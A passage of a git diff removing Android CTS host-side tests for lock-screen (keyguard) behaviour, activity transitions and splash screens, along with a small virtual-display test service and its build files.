- assertInLogcat("KeyguardDismissLoggerCallback", "onDismissSucceeded", logSeparator);
- }
-
- protected void assertOnDismissCancelledInLogcat(String logSeparator) throws Exception {
- assertInLogcat("KeyguardDismissLoggerCallback", "onDismissCancelled", logSeparator);
- }
-
- protected void assertOnDismissErrorInLogcat(String logSeparator) throws Exception {
- assertInLogcat("KeyguardDismissLoggerCallback", "onDismissError", logSeparator);
- }
-
- private void assertInLogcat(String activityName, String entry, String logSeparator)
- throws Exception {
- final Pattern pattern = Pattern.compile("(.+)" + entry);
- int tries = 0;
- while (tries < 5) {
- final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
- log("Looking at logcat");
- for (int i = lines.length - 1; i >= 0; i--) {
- final String line = lines[i].trim();
- log(line);
- Matcher matcher = pattern.matcher(line);
- if (matcher.matches()) {
- return;
- }
- }
- tries++;
- Thread.sleep(500);
- }
- fail("Not in logcat: " + entry);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
deleted file mode 100644
index 8c6f037..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
+++ /dev/null
@@ -1,378 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.server.cts.WindowManagerState.WindowState;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardTests
- */
-public class KeyguardTests extends KeyguardTestBase {
-
- @Override
- public void setUp() throws Exception {
- super.setUp();
-
- // Set screen lock (swipe)
- setLockDisabled(false);
- }
-
- @Override
- public void tearDown() throws Exception {
- super.tearDown();
-
- tearDownLockCredentials();
- }
-
- public void testKeyguardHidesActivity() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("TestActivity");
- mAmWmState.computeState(mDevice, new String[] { "TestActivity"});
- mAmWmState.assertVisibility("TestActivity", true);
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- assertShowingAndNotOccluded();
- mAmWmState.assertVisibility("TestActivity", false);
- unlockDevice();
- }
-
- public void testShowWhenLockedActivity() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("ShowWhenLockedActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity"});
- mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- assertShowingAndOccluded();
- pressHomeButton();
- unlockDevice();
- }
-
- /**
- * Tests whether dialogs from SHOW_WHEN_LOCKED activities are also visible if Keyguard is
- * showing.
- */
- public void testShowWhenLockedActivity_withDialog() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("ShowWhenLockedWithDialogActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedWithDialogActivity"});
- mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
- assertTrue(mAmWmState.getWmState().allWindowsVisible(
- getWindowName("ShowWhenLockedWithDialogActivity")));
- assertShowingAndOccluded();
- pressHomeButton();
- unlockDevice();
- }
-
- /**
- * Tests whether multiple SHOW_WHEN_LOCKED activities are shown if the topmost is translucent.
- */
- public void testMultipleShowWhenLockedActivities() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("ShowWhenLockedActivity");
- launchActivity("ShowWhenLockedTranslucentActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity",
- "ShowWhenLockedTranslucentActivity"});
- mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
- assertShowingAndOccluded();
- pressHomeButton();
- unlockDevice();
- }
-
- /**
- * If we have a translucent SHOW_WHEN_LOCKED_ACTIVITY, the wallpaper should also be showing.
- */
- public void testTranslucentShowWhenLockedActivity() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("ShowWhenLockedTranslucentActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedTranslucentActivity"});
- mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
- assertWallpaperShowing();
- assertShowingAndOccluded();
- pressHomeButton();
- unlockDevice();
- }
-
- /**
- * If we have a translucent SHOW_WHEN_LOCKED activity, the activity behind should not be shown.
- */
- public void testTranslucentDoesntRevealBehind() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("TestActivity");
- launchActivity("ShowWhenLockedTranslucentActivity");
- mAmWmState.computeState(mDevice, new String[] { "TestActivity",
- "ShowWhenLockedTranslucentActivity"});
- mAmWmState.assertVisibility("TestActivity", true);
- mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
- mAmWmState.assertVisibility("TestActivity", false);
- assertShowingAndOccluded();
- pressHomeButton();
- unlockDevice();
- }
-
- public void testDialogShowWhenLockedActivity() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("ShowWhenLockedDialogActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedDialogActivity"});
- mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
- assertWallpaperShowing();
- assertShowingAndOccluded();
- pressHomeButton();
- unlockDevice();
- }
-
- /**
- * Test that showWhenLocked activity is fullscreen when shown over keyguard
- */
- public void testShowWhenLockedActivityWhileSplit() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset() || !supportsSplitScreenMultiWindow()) {
- return;
- }
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- launchActivityToSide(true, false, "ShowWhenLockedActivity");
- mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- gotoKeyguard();
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
- mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- assertShowingAndOccluded();
- mAmWmState.assertDoesNotContainStack("Activity must be full screen.",
- ActivityManagerTestBase.DOCKED_STACK_ID);
- pressHomeButton();
- unlockDevice();
- }
-
- /**
- * Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
- */
- public void testDismissKeyguardActivity() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity("DismissKeyguardActivity");
- mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
- mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardActivity"});
- mAmWmState.assertVisibility("DismissKeyguardActivity", true);
- assertShowingAndOccluded();
- }
-
- public void testDismissKeyguardActivity_method() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- final String logSeparator = clearLogcat();
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity("DismissKeyguardMethodActivity");
- mAmWmState.waitForKeyguardGone(mDevice);
- mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardMethodActivity"});
- mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceededInLogcat(logSeparator);
- }
-
- public void testDismissKeyguardActivity_method_notTop() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- final String logSeparator = clearLogcat();
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity("BroadcastReceiverActivity");
- launchActivity("TestActivity");
- executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguardMethod true");
- assertOnDismissErrorInLogcat(logSeparator);
- }
-
- public void testDismissKeyguardActivity_method_turnScreenOn() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- final String logSeparator = clearLogcat();
- sleepDevice();
- mAmWmState.computeState(mDevice, null);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity("TurnScreenOnDismissKeyguardActivity");
- mAmWmState.waitForKeyguardGone(mDevice);
- mAmWmState.computeState(mDevice, new String[] { "TurnScreenOnDismissKeyguardActivity"});
- mAmWmState.assertVisibility("TurnScreenOnDismissKeyguardActivity", true);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceededInLogcat(logSeparator);
- }
-
- public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- launchActivity("ShowWhenLockedActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
- mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- assertShowingAndOccluded();
- executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
- assertShowingAndOccluded();
- mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- }
-
- public void testKeyguardLock() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- launchActivity("KeyguardLockActivity");
- mAmWmState.computeState(mDevice, new String[] { "KeyguardLockActivity" });
- mAmWmState.assertVisibility("KeyguardLockActivity", true);
- executeShellCommand(FINISH_ACTIVITY_BROADCAST);
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- }
-
- public void testUnoccludeRotationChange() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- executeShellCommand(getAmStartCmd("ShowWhenLockedActivity"));
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity" });
- mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
- setDeviceRotation(1);
- pressHomeButton();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- mAmWmState.waitForDisplayUnfrozen(mDevice);
- mAmWmState.assertSanity();
- mAmWmState.assertHomeActivityVisible(false);
- assertShowingAndNotOccluded();
- mAmWmState.assertVisibility("ShowWhenLockedActivity", false);
- }
-
- private void assertWallpaperShowing() {
- WindowState wallpaper =
- mAmWmState.getWmState().findFirstWindowWithType(WindowState.TYPE_WALLPAPER);
- assertNotNull(wallpaper);
- assertTrue(wallpaper.isShown());
- }
-
- public void testDismissKeyguardAttrActivity_method_turnScreenOn() throws Exception {
- if (!isHandheld()) {
- return;
- }
-
- final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
- sleepDevice();
-
- final String logSeparator = clearLogcat();
- mAmWmState.computeState(mDevice, null);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(activityName);
- mAmWmState.waitForKeyguardGone(mDevice);
- mAmWmState.assertVisibility(activityName, true);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceededInLogcat(logSeparator);
- assertTrue(isDisplayOn());
- }
-
- public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() throws Exception {
- if (!isHandheld()) {
- return;
- }
-
- final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
-
- setLockCredential();
- sleepDevice();
-
- mAmWmState.computeState(mDevice, null);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity(activityName);
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- mAmWmState.assertVisibility(activityName, false);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertTrue(isDisplayOn());
- }
-
- public void testScreenOffWhileOccludedStopsActivity() throws Exception {
- if (!isHandheld()) {
- return;
- }
-
- final String logSeparator = clearLogcat();
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- launchActivity("ShowWhenLockedAttrActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedAttrActivity" });
- mAmWmState.assertVisibility("ShowWhenLockedAttrActivity", true);
- assertShowingAndOccluded();
- sleepDevice();
- assertSingleLaunchAndStop("ShowWhenLockedAttrActivity", logSeparator);
- }
-
- public void testScreenOffCausesSingleStop() throws Exception {
- if (!isHandheld()) {
- return;
- }
-
- final String logSeparator = clearLogcat();
- launchActivity("TestActivity");
- mAmWmState.assertVisibility("TestActivity", true);
- sleepDevice();
- assertSingleLaunchAndStop("TestActivity", logSeparator);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
deleted file mode 100644
index 5971ccb..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_OCCLUDE;
-import static android.server.cts.WindowManagerState.TRANSIT_KEYGUARD_UNOCCLUDE;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardTransitionTests
- */
-public class KeyguardTransitionTests extends ActivityManagerTestBase {
-
- @Override
- public void setUp() throws Exception {
- super.setUp();
-
- // Set screen lock (swipe)
- setLockDisabled(false);
- }
-
- public void testUnlock() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("TestActivity");
- gotoKeyguard();
- unlockDevice();
- mAmWmState.computeState(mDevice, new String[] { "TestActivity"} );
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
- mAmWmState.getWmState().getLastTransition());
- }
-
- public void testUnlockWallpaper() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("WallpaperActivity");
- gotoKeyguard();
- unlockDevice();
- mAmWmState.computeState(mDevice, new String[] { "WallpaperActivity"} );
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER,
- mAmWmState.getWmState().getLastTransition());
- }
-
- public void testOcclude() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- gotoKeyguard();
- launchActivity("ShowWhenLockedActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedActivity"} );
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
- mAmWmState.getWmState().getLastTransition());
- }
-
- public void testUnocclude() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- gotoKeyguard();
- launchActivity("ShowWhenLockedActivity");
- launchActivity("TestActivity");
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- mAmWmState.computeState(mDevice, null);
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_UNOCCLUDE,
- mAmWmState.getWmState().getLastTransition());
- }
-
- public void testNewActivityDuringOccluded() throws Exception {
- if (!isHandheld() || isUiModeLockedToVrHeadset()) {
- return;
- }
- launchActivity("ShowWhenLockedActivity");
- gotoKeyguard();
- launchActivity("ShowWhenLockedWithDialogActivity");
- mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedWithDialogActivity" });
- assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
- mAmWmState.getWmState().getLastTransition());
- }
-
- public void testOccludeManifestAttr() throws Exception {
- if (!isHandheld()) {
- return;
- }
-
- String activityName = "ShowWhenLockedAttrActivity";
-
- gotoKeyguard();
- final String logSeparator = clearLogcat();
- launchActivity(activityName);
- mAmWmState.computeState(mDevice, new String[] {activityName});
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
- mAmWmState.getWmState().getLastTransition());
- assertSingleLaunch(activityName, logSeparator);
- }
-
- public void testOccludeAttrRemove() throws Exception {
- if (!isHandheld()) {
- return;
- }
-
- String activityName = "ShowWhenLockedAttrRemoveAttrActivity";
-
- gotoKeyguard();
- String logSeparator = clearLogcat();
- launchActivity(activityName);
- mAmWmState.computeState(mDevice, new String[] {activityName});
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
- mAmWmState.getWmState().getLastTransition());
- assertSingleLaunch(activityName, logSeparator);
-
- gotoKeyguard();
- logSeparator = clearLogcat();
- launchActivity(activityName);
- mAmWmState.computeState(mDevice, new String[] {activityName});
- assertSingleStartAndStop(activityName, logSeparator);
- }
-
- public void testNewActivityDuringOccludedWithAttr() throws Exception {
- if (!isHandheld()) {
- return;
- }
-
- String activityName1 = "ShowWhenLockedAttrActivity";
- String activityName2 = "ShowWhenLockedAttrWithDialogActivity";
-
- launchActivity(activityName1);
- gotoKeyguard();
- launchActivity(activityName2);
- mAmWmState.computeState(mDevice, new String[] { activityName2 });
- assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
- mAmWmState.getWmState().getLastTransition());
- }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
deleted file mode 100644
index ed7f383..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import java.awt.Color;
-import java.awt.Rectangle;
-import java.awt.image.BufferedImage;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.SplashscreenTests
- */
-public class SplashscreenTests extends ActivityManagerTestBase {
-
- public void testSplashscreenContent() throws Exception {
- launchActivityNoWait("SplashscreenActivity");
- mAmWmState.waitForAppTransitionIdle(mDevice);
- mAmWmState.getWmState().getStableBounds();
- final BufferedImage image = takeScreenshot();
-
- // Use ratios to flexibly accomodate circular or not quite rectangular displays
- // Note: Color.BLACK is the pixel color outside of the display region
- assertColors(image, mAmWmState.getWmState().getStableBounds(),
- Color.RED.getRGB(), 0.50f, Color.BLACK.getRGB(), 0.01f);
- }
-
- private void assertColors(BufferedImage img, Rectangle bounds, int primaryColor,
- float expectedPrimaryRatio, int secondaryColor, float acceptableWrongRatio) {
-
- int primaryPixels = 0;
- int secondaryPixels = 0;
- int wrongPixels = 0;
- for (int x = bounds.x; x < bounds.x + bounds.width; x++) {
- for (int y = bounds.y; y < bounds.y + bounds.height; y++) {
- assertTrue(x < img.getWidth());
- assertTrue(y < img.getHeight());
- final int color = img.getRGB(x, y);
- if (primaryColor == color) {
- primaryPixels++;
- } else if (secondaryColor == color) {
- secondaryPixels++;
- } else {
- wrongPixels++;
- }
- }
- }
-
- final int totalPixels = bounds.width * bounds.height;
- final float primaryRatio = (float) primaryPixels / totalPixels;
- if (primaryRatio < expectedPrimaryRatio) {
- fail("Less than " + (expectedPrimaryRatio * 100.0f)
- + "% of pixels have non-primary color primaryPixels=" + primaryPixels
- + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
- }
-
- // Some pixels might be covered by screen shape decorations, like rounded corners.
- // On circular displays, there is an antialiased edge.
- final float wrongRatio = (float) wrongPixels / totalPixels;
- if (wrongRatio > acceptableWrongRatio) {
- fail("More than " + (acceptableWrongRatio * 100.0f)
- + "% of pixels have wrong color primaryPixels=" + primaryPixels
- + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
deleted file mode 100644
index d3ae55e..0000000
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
+++ /dev/null
@@ -1,25 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.displayservice">
- <uses-permission android:name="android.permission.WAKE_LOCK" />
- <application android:label="CtsDisplayService">
- <service android:name=".VirtualDisplayService"
- android:exported="true" />
- </application>
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
deleted file mode 100644
index eb58963..0000000
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.displayservice;
-
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Intent;
-import android.graphics.PixelFormat;
-import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
-import android.media.ImageReader;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.util.Log;
-import android.view.Surface;
-
-public class VirtualDisplayService extends Service {
- private static final String NOTIFICATION_CHANNEL_ID = "cts/VirtualDisplayService";
- private static final String TAG = "VirtualDisplayService";
-
- private static final int FOREGROUND_ID = 1;
-
- private static final int DENSITY = 160;
- private static final int HEIGHT = 480;
- private static final int WIDTH = 800;
-
- private ImageReader mReader;
- private VirtualDisplay mVirtualDisplay;
-
- @Override
- public void onCreate() {
- super.onCreate();
-
- NotificationManager notificationManager = getSystemService(NotificationManager.class);
- notificationManager.createNotificationChannel(new NotificationChannel(
- NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
- NotificationManager.IMPORTANCE_DEFAULT));
- Notification notif = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(android.R.drawable.ic_dialog_alert)
- .build();
- startForeground(FOREGROUND_ID, notif);
- }
-
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- String command = intent.getStringExtra("command");
- Log.d(TAG, "Got command: " + command);
-
- if ("create".equals(command)) {
- createVirtualDisplay(intent);
- } if ("off".equals(command)) {
- mVirtualDisplay.setSurface(null);
- } else if ("on".equals(command)) {
- mVirtualDisplay.setSurface(mReader.getSurface());
- } else if ("destroy".equals(command)) {
- destroyVirtualDisplay();
- stopSelf();
- }
-
- return START_NOT_STICKY;
- }
-
- @Override
- public IBinder onBind(Intent intent) {
- return null;
- }
-
- private void createVirtualDisplay(Intent intent) {
- mReader = ImageReader.newInstance(WIDTH, HEIGHT, PixelFormat.RGBA_8888, 2);
-
- final DisplayManager displayManager = getSystemService(DisplayManager.class);
- final String name = "CtsVirtualDisplay";
-
- int flags = VIRTUAL_DISPLAY_FLAG_PRESENTATION | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
- if (intent.getBooleanExtra("show_content_when_locked", false /* defaultValue */)) {
- flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
- }
- mVirtualDisplay = displayManager.createVirtualDisplay(
- name, WIDTH, HEIGHT, DENSITY, mReader.getSurface(), flags);
- }
-
- private void destroyVirtualDisplay() {
- mVirtualDisplay.release();
- mReader.close();
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
deleted file mode 100644
index 0df59e7..0000000
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-LOCAL_MODULE := cts-display-service-app-util
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
deleted file mode 100644
index 89683a0..0000000
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
